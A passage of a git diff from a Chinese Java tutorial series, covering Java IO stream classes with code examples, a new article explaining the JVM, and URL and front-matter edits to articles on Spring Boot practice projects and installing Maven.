PS:关于字符编码,可以看前面的章节:[锟斤拷](https://mp.weixin.qq.com/s/pNQjlXOivIgO3pbYc0GnpA) + +明白了字节与字符的区别,再来看字节流和字符流就会轻松多了。 + +字节流用来处理二进制文件,比如说图片啊、MP3 啊、视频啊。 + +字符流用来处理文本文件,文本文件可以看作是一种特殊的二进制文件,只不过经过了编码,便于人们阅读。 + +换句话说就是,字节流可以处理一切文件,而字符流只能处理文本。 + +虽然 IO 类很多,但核心的就是 4 个抽象类:InputStream、OutputStream、Reader、Writer。 + +(**抽象大法真好**) + +虽然 IO 类的方法也很多,但核心的也就 2 个:read 和 write。 + +**InputStream 类** + +- `int read()`:读取数据 +- `int read(byte b[], int off, int len)`:从第 off 位置开始读,读取 len 长度的字节,然后放入数组 b 中 +- `long skip(long n)`:跳过指定个数的字节 +- `int available()`:返回可读的字节数 +- `void close()`:关闭流,释放资源 + +**OutputStream 类** + +- `void write(int b)`: 写入一个字节,虽然参数是一个 int 类型,但只有低 8 位才会写入,高 24 位会舍弃(这块后面再讲) +- `void write(byte b[], int off, int len)`: 将数组 b 中的从 off 位置开始,长度为 len 的字节写入 +- `void flush()`: 强制刷新,将缓冲区的数据写入 +- `void close()`:关闭流 + +**Reader 类** + +- `int read()`:读取单个字符 +- `int read(char cbuf[], int off, int len)`:从第 off 位置开始读,读取 len 长度的字符,然后放入数组 b 中 +- `long skip(long n)`:跳过指定个数的字符 +- `int ready()`:是否可以读了 +- `void close()`:关闭流,释放资源 + +**Writer 类** + +- `void write(int c)`: 写入一个字符 +- `void write( char cbuf[], int off, int len)`: 将数组 cbuf 中的从 off 位置开始,长度为 len 的字符写入 +- `void flush()`: 强制刷新,将缓冲区的数据写入 +- `void close()`:关闭流 + +理解了上面这些方法,基本上 IO 的灵魂也就全部掌握了。 + +### 二、操作对象划分 + +小二,你细想一下,IO IO,不就是输入输出(Input/Output)嘛: + +- Input:将外部的数据读入内存,比如说把文件从硬盘读取到内存,从网络读取数据到内存等等 +- Output:将内存中的数据写入到外部,比如说把数据从内存写入到文件,把数据从内存输出到网络等等。 + +所有的程序,在执行的时候,都是在内存上进行的,一旦关机,内存中的数据就没了,那如果想要持久化,就需要把内存中的数据输出到外部,比如说文件。 + +文件操作算是 IO 中最典型的操作了,也是最频繁的操作。那其实你可以换个角度来思考,比如说按照 IO 的操作对象来思考,IO 就可以分类为:文件、数组、管道、基本数据类型、缓冲、打印、对象序列化/反序列化,以及转换等。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/io/shangtou-03.png) + + +**1)文件** + +文件流也就是直接操作文件的流,可以细分为字节流(FileInputStream 和 FileOuputStream)和字符流(FileReader 和 FileWriter)。 + +FileInputStream 的例子: + +```java +int b; +FileInputStream fis1 = new FileInputStream("fis.txt"); +// 循环读取 +while ((b = fis1.read())!=-1) { + System.out.println((char)b); +} +// 关闭资源 +fis1.close(); +``` + +FileOutputStream 的例子: + +```java +FileOutputStream fos = new FileOutputStream("fos.txt"); +fos.write("沉默王二".getBytes()); +fos.close(); +``` + +FileReader 的例子: + +```java +int b = 0; +FileReader fileReader = new FileReader("read.txt"); +// 循环读取 +while ((b = fileReader.read())!=-1) { + // 自动提升类型提升为 int 类型,所以用 char 强转 + System.out.println((char)b); +} +// 关闭流 +fileReader.close(); +``` + +FileWriter 的例子: + +```java +FileWriter fileWriter = new FileWriter("fw.txt"); +char[] chars = "沉默王二".toCharArray(); +fileWriter.write(chars, 0, chars.length); +fileWriter.close(); +``` + +当掌握了文件的输入输出,其他的自然也就掌握了,都大差不差。 + +**2)数组** + +通常来说,针对文件的读写操作,使用文件流配合缓冲流就够用了,但为了提升效率,频繁地读写文件并不是太好,那么就出现了数组流,有时候也称为内存流。 + +ByteArrayInputStream 的例子: + +```java +InputStream is =new BufferedInputStream( + new ByteArrayInputStream( + "沉默王二".getBytes(StandardCharsets.UTF_8))); +//操作 +byte[] flush =new byte[1024]; +int len =0; +while(-1!=(len=is.read(flush))){ + System.out.println(new String(flush,0,len)); +} +//释放资源 +is.close(); +``` + +ByteArrayOutputStream 的例子: + +```java +ByteArrayOutputStream bos =new ByteArrayOutputStream(); +byte[] info ="沉默王二".getBytes(); +bos.write(info, 0, info.length); +//获取数据 +byte[] dest =bos.toByteArray(); +//释放资源 +bos.close(); +``` + +**3)管道** + +Java 中的管道和 Unix/Linux 中的管道不同,在 Unix/Linux 中,不同的进程之间可以通过管道来通信,但 Java 中,通信的双方必须在同一个进程中,也就是在同一个 JVM 中,管道为线程之间的通信提供了通信能力。 + +一个线程通过 PipedOutputStream 写入的数据可以被另外一个线程通过相关联的 PipedInputStream 读取出来。 + +```java +final PipedOutputStream pipedOutputStream = new PipedOutputStream(); +final PipedInputStream pipedInputStream = new PipedInputStream(pipedOutputStream); + +Thread thread1 = new Thread(new Runnable() { + @Override + public void run() { + try { + pipedOutputStream.write("沉默王二".getBytes(StandardCharsets.UTF_8)); + pipedOutputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } +}); + +Thread thread2 = new Thread(new Runnable() { + @Override + public void run() { + try { + byte[] flush =new byte[1024]; + int len =0; + while(-1!=(len=pipedInputStream.read(flush))){ + System.out.println(new String(flush,0,len)); + } + + pipedInputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + + } +}); +thread1.start(); +thread2.start(); +``` + +**4)基本数据类型** + +基本数据类型输入输出流是一个字节流,该流不仅可以读写字节和字符,还可以读写基本数据类型。 + +DataInputStream 提供了一系列可以读基本数据类型的方法: + +```java +DataInputStream dis = new DataInputStream(new FileInputStream(“das.txt”)) ; +byte b = dis.readByte() ; +short s = dis.readShort() ; +int i = dis.readInt(); +long l = dis.readLong() ; +float f = dis.readFloat() ; +double d = dis.readDouble() ; +boolean bb = dis.readBoolean() ; +char ch = dis.readChar() ; +``` + +DataOutputStream 提供了一系列可以写基本数据类型的方法: + +```java +DataOutputStream das = new DataOutputStream(new FileOutputStream(“das.txt”)); +das.writeByte(10); +das.writeShort(100); +das.writeInt(1000); +das.writeLong(10000L); +das.writeFloat(12.34F); +das.writeDouble(12.56); +das.writeBoolean(true); +das.writeChar('A'); +``` + +**5)缓冲** + +CPU 很快,它比内存快 100 倍,比磁盘快百万倍。那也就意味着,程序和内存交互会很快,和硬盘交互相对就很慢,这样就会导致性能问题。 + +为了减少程序和硬盘的交互,提升程序的效率,就引入了缓冲流,也就是类名前缀带有 Buffer 的那些,比如说 BufferedInputStream、BufferedOutputStream、BufferedReader、BufferedWriter。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/io/shangtou-04.png) + + +缓冲流在内存中设置了一个缓冲区,只有缓冲区存储了足够多的带操作的数据后,才会和内存或者硬盘进行交互。简单来说,就是一次多读/写点,少读/写几次,这样程序的性能就会提高。 + +**6)打印** + +恐怕 Java 程序员一生当中最常用的就是打印流了:`System.out` 其实返回的就是一个 PrintStream 对象,可以用来打印各式各样的对象。 + +```java +System.out.println("沉默王二是真的二!"); +``` + +PrintStream 最终输出的是字节数据,而 PrintWriter 则是扩展了 Writer 接口,所以它的 `print()/println()` 方法最终输出的是字符数据。使用上几乎和 PrintStream 一模一样。 + +```java +StringWriter buffer = new StringWriter(); +try (PrintWriter pw = new PrintWriter(buffer)) { + pw.println("沉默王二"); +} +System.out.println(buffer.toString()); +``` + +**7)对象序列化/反序列化** + +序列化本质上是将一个 Java 对象转成字节数组,然后可以将其保存到文件中,或者通过网络传输到远程。 + +```java +ByteArrayOutputStream buffer = new ByteArrayOutputStream(); +try (ObjectOutputStream output = new ObjectOutputStream(buffer)) { + output.writeUTF("沉默王二"); +} +System.out.println(Arrays.toString(buffer.toByteArray())); +``` + +与其对应的,有序列化,就有反序列化,也就是再将字节数组转成 Java 对象的过程。 + +```java +try (ObjectInputStream input = new ObjectInputStream(new FileInputStream( + new File("Person.txt")))) { + String s = input.readUTF(); +} +``` + + +**8)转换** + +InputStreamReader 是从字节流到字符流的桥连接,它使用指定的字符集读取字节并将它们解码为字符。 + +```java +InputStreamReader isr = new InputStreamReader( + new FileInputStream("demo.txt")); +char []cha = new char[1024]; +int len = isr.read(cha); +System.out.println(new String(cha,0,len)); +isr.close(); +``` + +OutputStreamWriter 将一个字符流的输出对象变为字节流的输出对象,是字符流通向字节流的桥梁。 + +```java +File f = new File("test.txt") ; +Writer out = new OutputStreamWriter(new FileOutputStream(f)) ; // 字节流变为字符流 +out.write("hello world!!") ; // 使用字符流输出 +out.close() ; +``` + +“小二啊,你看,经过我的梳理,是不是感觉 IO 也没多少东西!针对不同的场景、不同的业务,选择对应的 IO 流就可以了,用法上就是读和写。”老王一口气讲完这些,长长的舒了一口气。 + +此时此刻的小二,还沉浸在老王的滔滔不绝中。不仅感觉老王的肺活量是真的大,还感慨老王不愧是工作了十多年的“老油条”,一下子就把自己感觉头大的 IO 给梳理得很清晰了。 + +--------- + + +**这是《Java 程序员进阶之路》专栏的第 68 篇。Java 程序员进阶之路,该专栏风趣幽默、通俗易懂,对 Java 初学者极度友好和舒适😘,内容包括但不限于 Java 语法、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机等核心知识点**。 + +GitHub 地址: + +码云地址:[https://gitee.com/itwanger/toBeBetterJavaer](https://gitee.com/itwanger/toBeBetterJavaer) + +CodeChina 直达地址:[https://codechina.csdn.net/qing_gee/toBeBetterJavaer](https://codechina.csdn.net/qing_gee/toBeBetterJavaer) + +亮白版和暗黑版的 PDF 也准备好了呢,让我们一起成为更好的 Java 工程师吧,一起冲! + + + + + + + + + + + + + diff --git a/docs/jvm/what-is-jvm.md b/docs/jvm/what-is-jvm.md new file mode 100644 index 0000000000..c746d97fbf --- /dev/null +++ b/docs/jvm/what-is-jvm.md @@ -0,0 +1,165 @@ + + + + +“二哥,之前的文章里提到 JVM,说实在的, 我还不知道它到底是干嘛的,你能给我普及一下吗?”三妹咪了一口麦香可可奶茶后对我说。 + +“三妹,不要担心,这篇文章来带你认识一下什么是 JVM,这也是 Java 中非常重要的一块知识,每个程序员都应该了解的。”说完最后这句话,我脸上忍不住泛起了一阵羞涩的红晕。 + +看过《[Java 发展简史](https://mp.weixin.qq.com/s/Ctouw652iC0qtrmjen9aEw)》的小伙伴应该知道,Sun 在 1991 年成立了一个由詹姆斯·高斯林(James Gosling)领导的,名为“Green”的项目组,目的是开发一种能够在各种消费性电子产品上运行的程序架构。 + +一开始,项目组打算使用 C++,但 C++ 无法达到跨平台的要求,比如在 Windows 系统下编译的 Hello.exe 无法直接拿到 Linux 环境下执行。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/seven-01.png) + +在当时,C++ 已经非常流行了,但无法跨平台,只能忍痛割爱了。 + +怎么办呢? + +三妹不知道有没有听过直译器(解释器)这玩意?(估计你没听过)就是每跑一行代码就生成机器码,然后执行,比如说 Python 和 Ruby 用的就是直译器。在每个操作系统上装一个直译器就好了,跨平台的目的就达到了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/seven-02.png) + +但直译器有个缺点,就是没法像编译器那样对一些热点代码进行优化,从而让机器码跑得更快一些。 + +怎么办呢? + +来个结合体呗,编译器和直译器一块上! + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/seven-03.png) + +编译器负责把 Java 源代码编译成字节码(不清楚的小伙伴可以点击链接查看[上一节](https://mp.weixin.qq.com/s/GYDFndO0Q1Nqzcc_Te61gw)),Java 虚拟机(Java Virtual Machine,简称 JVM) 负责把字节码转换成机器码。转换的时候,可以做一些压缩或者优化,这样的机器码跑起来就快多了。 + +不仅跨平台的目的达到了,而且性能得到了优化。 + +三妹是不是想问,“为什么 Java 虚拟机会叫 Java 虚拟机呢?” + +虚拟机,顾名思义,就是虚拟的机器(多苍白的解释),反正就是看不见摸不着的机器,把它想象成一个会执行字节码的怪兽吧。 + +记得上大学那会,由于没有 Linux 环境,但又需要在上面玩一些命令,于是就在 Windows 上装 Linux 的虚拟机,这个 JVM 就类似这种东西。 + + 说白了,就是我们编写 Java 代码,编译 Java 代码,目的不是让它在 Linux、Windows 或者 MacOS 上跑,而是在 JVM 上跑。 + +说到这,三妹是不是想问,“都有哪些 Java 虚拟机呢?”来看下面这张思维导图: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/seven-04.png) + +除了我们经常看到,经常听到的 Hotspot VM,还有很多,下面我来简单介绍一下。 + +- Sun Classic:世界上第一款商用 Java 虚拟机,但执行效率低下,导致 Java 程序的性能和 C/C++ 存在很大差距,因此给后来者留下了“Java 语言很慢”的刻板印象。 + +- Exact VM:为了提升 Classic 的效率,Sun 的虚拟机团队曾在 Solaris(Sun 研发的一款类似 Unix 的操作系统)上发布过这款虚拟机,它的执行系统里包含有热点探测、即时编译等,但不是很成熟。 + +Sun Classic 在 JDK 1.4 的时候被彻底抛弃,而 Exact VM 被抛弃得更早,取代它的正是 HotSpot VM——时也命也。 + +- HotSpot VM:OracleJDK(商用)和 OpenJDK(开源)的默认虚拟机,也是目前使用最广泛的 Java 虚拟机。 + +HotSpot 的技术优势就在于热点代码探测技术(名字就从这来)和准确式内存管理技术,但其实这两个技术在 Exact VM 中都有体现,因此你看起个好的名字多重要(开玩笑了,这就是命)。 + +热点代码探测,指的是,通过执行计数器找出最具有编译价值的代码,然后通知即时编译器以方法为单位进行编译,解释器就可以不再逐行的将字节码翻译成机器码,而是将一整个方法的所有字节码翻译成机器码再执行。 + +这样的话,效率就提高了很多,对吧? + +- Mobile VM:Java 在移动手机端(被 Android 和 IOS 二分天下)的发展并没有那么成功,因此 Mobile VM 的声望值比较低。 + +- Embedded VM:嵌入式设备上的虚拟机。 + +- BEA JRockit:曾经号称是“世界上最快的 Java 虚拟机”,后来被 Oracle 收购后就没有声音了。 + +- IBM J9 VM:提起 IBM,基本上所有程序员都知道了,也是个巨头,所以他家的虚拟机也很强,在职责分离和模块化上做得比 HotSpot 更好。目前已经开源给 Eclipse 基金会。 + +- BEA Liquid VM:是 BEA 公司开发的可以直接运行在自家系统上的虚拟机,可以越过操作系统直接和硬件打交道,因此可以更大程度上的发挥硬件的能力。不过核心用的还是 JRockit,所以伴随着 JRockit 的消失,Liquid VM 也退出历史舞台了。 + +- Azul VM:是 Azul 公司在 HotSpot 基础上进行大量改进后的,可以运行在 Azul 公司专有硬件上的虚拟机。2010 年起,Azul 公司的重心从硬件转移到软件上,并发布了 Zing 虚拟机,性能方面很强大。 + +- Apache Harmony 和 Google Android Dalvik VM 并不是 严格意义上的 Java 虚拟机,但对 Java 虚拟机的发展起到了很大的刺激作用。但它们终究没有熬过时间。 + +- Microsoft JVM:在早期的 Java Applets 年代,微软为了在 IE 中支持 Applets 开发了自己的 Java 虚拟机。你敢相信?Microsoft JVM 只有 Windows 版本,它与 JVM 实现的“一次编译,到处运行”的理念完全沾不上边。 + +关键是,1997 年 10 月,Sun 公司因为这事把微软告了,最后微软赔给了 Sun 公司 2000 万美金,并且终止了在 Java 虚拟机方面的发展。如果,我是说如果,如果微软保持着对 Java 的热情,后面还有 .Net 什么事? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/seven-05.png) + +解释了这么多 Java 虚拟机后,三妹是不是想问,“Java 虚拟机长什么样子呢?” + +Java 虚拟机虽然是虚拟的,但它的内部是可以划分为: + +- 类加载器(Class Loader) +- 运行时数据区(Runtime Data Areas) +- 执行引擎(Excution Engine) + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/seven-06.png) + + +**1)类加载器** + + +类加载器是 Java 虚拟机的一个子系统,用于加载类文件。每当我们运行一个 Java 程序,它都会由类加载器首先加载。 + +一般来说,Java 程序员并不需要直接同类加载器进行交互。JVM 默认的行为就已经足够满足大多数情况的需求了。不过,如果遇到了需要和类加载器进行交互的情况,而对类加载器的机制又不是很了解的话,就不得不花大量的时间去调试 + `ClassNotFoundException` 和 `NoClassDefFoundError` 等异常。 + +对于任意一个类,都需要由它的类加载器和这个类本身一同确定其在 JVM 中的唯一性。也就是说,如果两个类的加载器不同,即使两个类来源于同一个字节码文件,那这两个类就必定不相等(比如两个类的 Class 对象不 `equals`)。 + +来通过一段简单的代码了解下。 + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Test { + public static void main(String[] args) { + ClassLoader loader = Test.class.getClassLoader(); + while (loader != null) { + System.out.println(loader); + loader = loader.getParent(); + } + } +} +``` + +每个 Java 类都维护着一个指向定义它的类加载器的引用,通过 `类名.class.getClassLoader()` 可以获取到此引用;然后通过 `loader.getParent()` 可以获取类加载器的上层类加载器。 + +上面这段代码的输出结果如下: + +``` +jdk.internal.loader.ClassLoaders$AppClassLoader@512ddf17 +jdk.internal.loader.ClassLoaders$PlatformClassLoader@2d209079 +``` + +第一行输出为 Test 的类加载器,即应用类加载器,它是 `jdk.internal.loader.ClassLoaders$AppClassLoader` 类的实例;第二行输出为平台类加载器,是 `jdk.internal.loader.ClassLoaders$PlatformClassLoader` 类的实例。那启动类加载器呢? + +按理说,扩展类加载器的上层类加载器是启动类加载器,但启动类加载器是虚拟机的内置类加载器,通常表示为 null。 + +**2)运行时数据区** + +来看下面这张图: + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/seven-07.png) + + +- PC寄存器(PC Register),也叫程序计数器(Program Counter Register),是一块较小的内存空间,它的作用可以看做是当前线程所执行的字节码的信号指示器。 + +- JVM 栈(Java Virtual Machine Stack),与 PC 寄存器一样,JVM 栈也是线程私有的。每一个 JVM 线程都有自己的 JVM 栈,这个栈与线程同时创建,它的生命周期与线程相同。 + +- 本地方法栈(Native Method Stack),JVM 可能会使用到传统的栈来支持 Native 方法(使用 Java 语言以外的其它语言[C语言]编写的方法)的执行,这个栈就是本地方法栈。 + +- 堆(Heap),在 JVM 中,堆是可供各条线程共享的运行时内存区域,也是供所有类实例和数据对象分配内存的区域。 + +- 方法区(Method area),在 JVM 中,被加载类型的信息都保存在方法区中。包括类型信息(Type Information)和方法列表(Method Tables)。方法区是所有线程共享的,所以访问方法区信息的方法必须是线程安全的。 + +- 运行时常量池(Runtime Constant Pool),运行时常量池是每一个类或接口的常量池在运行时的表现形式,它包括了编译器可知的数值字面量,以及运行期解析后才能获得的方法或字段的引用。简而言之,当一个方法或者变量被引用时,JVM 通过运行时常量区来查找方法或者变量在内存里的实际地址。 + + +**3)执行引擎** + +执行引擎包含了: + +- 解释器:读取字节码流,然后执行指令。因为它是一行一行地解释和执行指令,所以它可以很快地解释字节码,但是执行起来会比较慢(毕竟要一行执行完再执行下一行)。 + +- 即时(Just-In-Time,JIT)编译器:即时编译器用来弥补解释器的缺点,提高性能。执行引擎首先按照解释执行的方式来执行,然后在合适的时候,即时编译器把整段字节码编译成本地代码。然后,执行引擎就没有必要再去解释执行方法了,它可以直接通过本地代码去执行。执行本地代码比一条一条进行解释执行的速度快很多。编译后的代码可以执行的很快,因为本地代码是保存在缓存里的。 + +“三妹,关于 Java 虚拟机,今天我们就学到这吧,后面再展开讲,怎么样?”转动了一下僵硬的脖子后,我对三妹说,“Java 虚拟机是一块很大很深的内容,如果一上来学太多的话,我怕难倒你。” + +“好的,二哥,我也觉得今天的知识量够了,我要好好消化几天。我会加油的!”三妹似乎对未来充满了希望,这正是我想看到的。 \ No newline at end of file diff --git a/docs/src/kaiyuan/yuneban-wangyiyunyinyue.md b/docs/kaiyuan/yuneban-wangyiyunyinyue.md similarity index 87% rename from docs/src/kaiyuan/yuneban-wangyiyunyinyue.md rename to docs/kaiyuan/yuneban-wangyiyunyinyue.md index 2fca02fd8f..3d73a5a4ff 100644 --- a/docs/src/kaiyuan/yuneban-wangyiyunyinyue.md +++ b/docs/kaiyuan/yuneban-wangyiyunyinyue.md @@ -1,17 +1,8 @@ ---- -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - -# 云音乐 - 大家好,我是二哥呀! 前段时间,有个读者私信我说,**刚学完 Spring Boot,想找点练手项目,准备找实习了。** -![](https://cdn.paicoding.com/tobebetterjavaer/images/kaiyuan/yuneban-wangyiyunyinyue-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-01.png) 二哥这么贴心,对于读者的请求,一向是有求必应,有问必答。那自然得花心思去淘 2 个像样的 Java 练手项目出来了,关键是还要基础,不能太难😆。 @@ -23,7 +14,7 @@ tag: 这是一个带大家从 0 搭建一个 Spring Boot+ Vue 的前后端分离的 Java 项目,前 P71 讲前端,P72 到 P131 讲后端。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/kaiyuan/yuneban-wangyiyunyinyue-02.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-02.png) 前端涉及到的技术有 Vue 全家桶、ElementUI;后端涉及到的技术有 Spring Boot、SpringMVC、MyBatisPlus、SpringSecurity、Swagger、Redis、EasyPOI、RabbitMQ、FasfDFS 等等。 @@ -31,7 +22,7 @@ tag: 为了验证 up 是不是一家培训机构,顺带替大家踩踩坑。我按照要求加了小助理的微信: -![](https://cdn.paicoding.com/tobebetterjavaer/images/kaiyuan/yuneban-wangyiyunyinyue-03.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-03.png) 加好友时一看头像,和平常偷偷摸摸混进群的广告党差不多,哈哈哈。 @@ -47,11 +38,11 @@ tag: 这是读者提供的一个前后端分离项目,问我项目怎么样,我点开去一看,这不一个号主朋友的嘛。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/kaiyuan/yuneban-wangyiyunyinyue-04.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-04.png) 网站的客户端和管理端使用 VUE 框架来实现的,服务端使用 Spring Boot + MyBatis 来实现,数据库使用了 MySQL。建议至少 1.5 倍速食用。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/kaiyuan/yuneban-wangyiyunyinyue-05.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-05.png) 前后端整体的项目结构也挺清晰的,这是后端的。 @@ -94,9 +85,9 @@ up 也非常的良心,源码都开源到 GitHub 上了。 随便再展示两张项目的效果图吧。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/kaiyuan/yuneban-wangyiyunyinyue-06.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-06.png) -![](https://cdn.paicoding.com/tobebetterjavaer/images/kaiyuan/yuneban-wangyiyunyinyue-07.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-07.png) 项目的基本功能也很完善: diff --git a/docs/src/maven/maven.md b/docs/maven/maven.md similarity index 75% rename from docs/src/maven/maven.md rename to docs/maven/maven.md index 87c017bf25..a87ca24b15 100644 --- a/docs/src/maven/maven.md +++ b/docs/maven/maven.md @@ -1,14 +1,3 @@ ---- -category: - - Java企业级开发 -tag: - - Maven -shortTitle: Maven ---- - -# 终于把项目构建神器Maven捋清楚了~ - - 今天来给大家介绍一款项目构建神器——Maven,不仅能帮我们自动化构建,还能够抽象构建过程,提供构建任务实现;它跨平台,对外提供了一致的操作接口,这一切足以使它成为优秀的、流行的构建工具,从此以后,再也不用担心项目搞崩了。 总结一下 Maven 的优点,主要有以下 3 点: @@ -21,21 +10,21 @@ shortTitle: Maven 由于 JDK 是 Maven 安装的前置条件,所以请使用 `java -version` 确认是否已经安装了 JDK: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-01.png) 我本人使用的是 macOS,所以可以有两种安装方式,**一种官网下载,手动安装;一种直接使用 brew 一键安装**。 我们先介绍*官网下载,手动安装*,该方式同样适用于 Windows 系统,差别可参照 Maven 官网安装教程: ->[http://maven.apache.org/install.html](http://maven.apache.org/install.html) +>http://maven.apache.org/install.html 1)**一种官网下载,手动安装** 第一步,去官网下载 Maven 安装包: ->官网地址:[http://maven.apache.org/download.cgi](http://maven.apache.org/download.cgi) +>官网地址:http://maven.apache.org/download.cgi -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-02.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-02.png) 很多初学者在官网下载的时候不知道选哪一个,这里做一下简单的介绍。 @@ -46,24 +35,24 @@ shortTitle: Maven 第二步,解压下载的安装包,复制该路径: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-03.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-03.png) - bin 目录:该包含了 Maven 运行的所有脚本,用来配置 Java 命令,准备执行环境,然后执行 Java 命令。 - boot 目录:该目录只包含了一个 plexus-classworlds-xxx-jar 文件,该文件是一个类加载器框架,相当于默认的 Java 类加载器,提供了更加丰富的语法以便配置,Maven 使用该加载器加载自己的类库。 - **conf 目录**:该目录包含了一个非常重要的文件 settings.xml。可以直接修改该文件,用来全局定制 Maven 的行为;也可以复制该文件到 `~/.m2/` 目录下(~表示用户目录),修改该文件可以在用户范围内定制 Maven 的行为。 - lib 目录:该目录包含了Maven运行时所需要的 Java 类库,包括Maven 依赖的第三方类库,比如 slf4j-api.jar。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-04.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-04.png) 第三步,配置环境变量 打开终端,输入 `vim ~/.bash_profile` 命令打开 bash_profile 文件: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-05.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-05.png) bash_profile 文件用于配置环境变量和启动程序,详细介绍可参照: ->[https://www.cnblogs.com/kevingrace/p/8072860.html](https://www.cnblogs.com/kevingrace/p/8072860.html) +>https://www.cnblogs.com/kevingrace/p/8072860.html 在文件中添加设置环境变量的命令: @@ -72,17 +61,17 @@ export M2_HOME=/Users/maweiqing/cmower/save/apache-maven-3.8.3 export PATH=${PATH}:${M2_HOME}/bin ``` -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-06.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-06.png) 保存后退出,可以执行 `source ~/.bash_profile` 使配置生效: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-07.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-07.png) 第四步,查看配置是否生效 输入 `mvn -v` 命令,如果输出以下内容,表示配置成功: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-08.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-08.png) 如未生效,可再开一个终端窗口尝试 `mvn -v` 命令。 @@ -92,22 +81,6 @@ export PATH=${PATH}:${M2_HOME}/bin 第二步,使用 `mvn -v` 命令查看版本 -**3)jenv 管理 JDK 和 Maven 版本** - -我电脑上之前出现了一次奇怪的版本问题,jenv 显示 JDK 版本为 1.8,但 Maven 显示 22.0.1,这两个版本不匹配,导致项目构建失败。 - -![](https://cdn.paicoding.com/stutymore/maven-20240919040026.png) - -最后找到的解决方案是,jenv 有一个 Maven 插件,需要开启。 - -``` -jenv enable-plugin maven -``` - -然后再次执行 `jenv global 1.8.0.412` 设置 JDK 版本,并且执行 `exec $SHELL` 刷新环境变量后,执行 `mvn -v` 查看 Maven 版本,发现已经匹配了。 - -![](https://cdn.paicoding.com/stutymore/maven-20240919040157.png) - ### 二、Maven 配置文件大盘点 Maven 是基于 POM(Project Object Model) 进行的,项目的所有配置都会放在 pom.xml 文件中,包括项目的类型、名字,依赖关系,插件定制等等。 @@ -173,19 +146,19 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐 - provided,表示打包的时候可以不用包进去,别的容器会提供。和 compile 相当,但是在打包阶段做了排除的动作。 - system,从参与程度上来说,和 provided 类似,但不通过 Maven 仓库解析,可能会造成构建的不可移植,要谨慎使用。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-09.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-09.png) 关于**传递性依赖**: 比如一个account-email项目为例,account-email有一个compile范围的spring-code依赖,spring-code有一个compile范围的commons-logging依赖,那么commons-logging就会成为account-email的compile的范围依赖,commons-logging是account-email的一个传递性依赖: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-10.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-10.png) 有了传递性依赖机制,在使用Spring Framework的时候就不用去考虑它依赖了什么,也不用担心引入多余的依赖。Maven会解析各个直接依赖的POM,将那些必要的间接依赖,以传递性依赖的形式引入到当前的项目中。 关于**依赖可选**: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-11.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-11.png) 项目中A依赖B,B依赖于X和Y,如果所有这三个的范围都是compile的话,那么X和Y就是A的compile范围的传递性依赖,但是如果我想X、Y不作为A的传递性依赖,不给它用的话,可以按照下面的方式配置可选依赖: @@ -254,11 +227,11 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐 那么它对应的仓库路径是这样的: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-12.png) 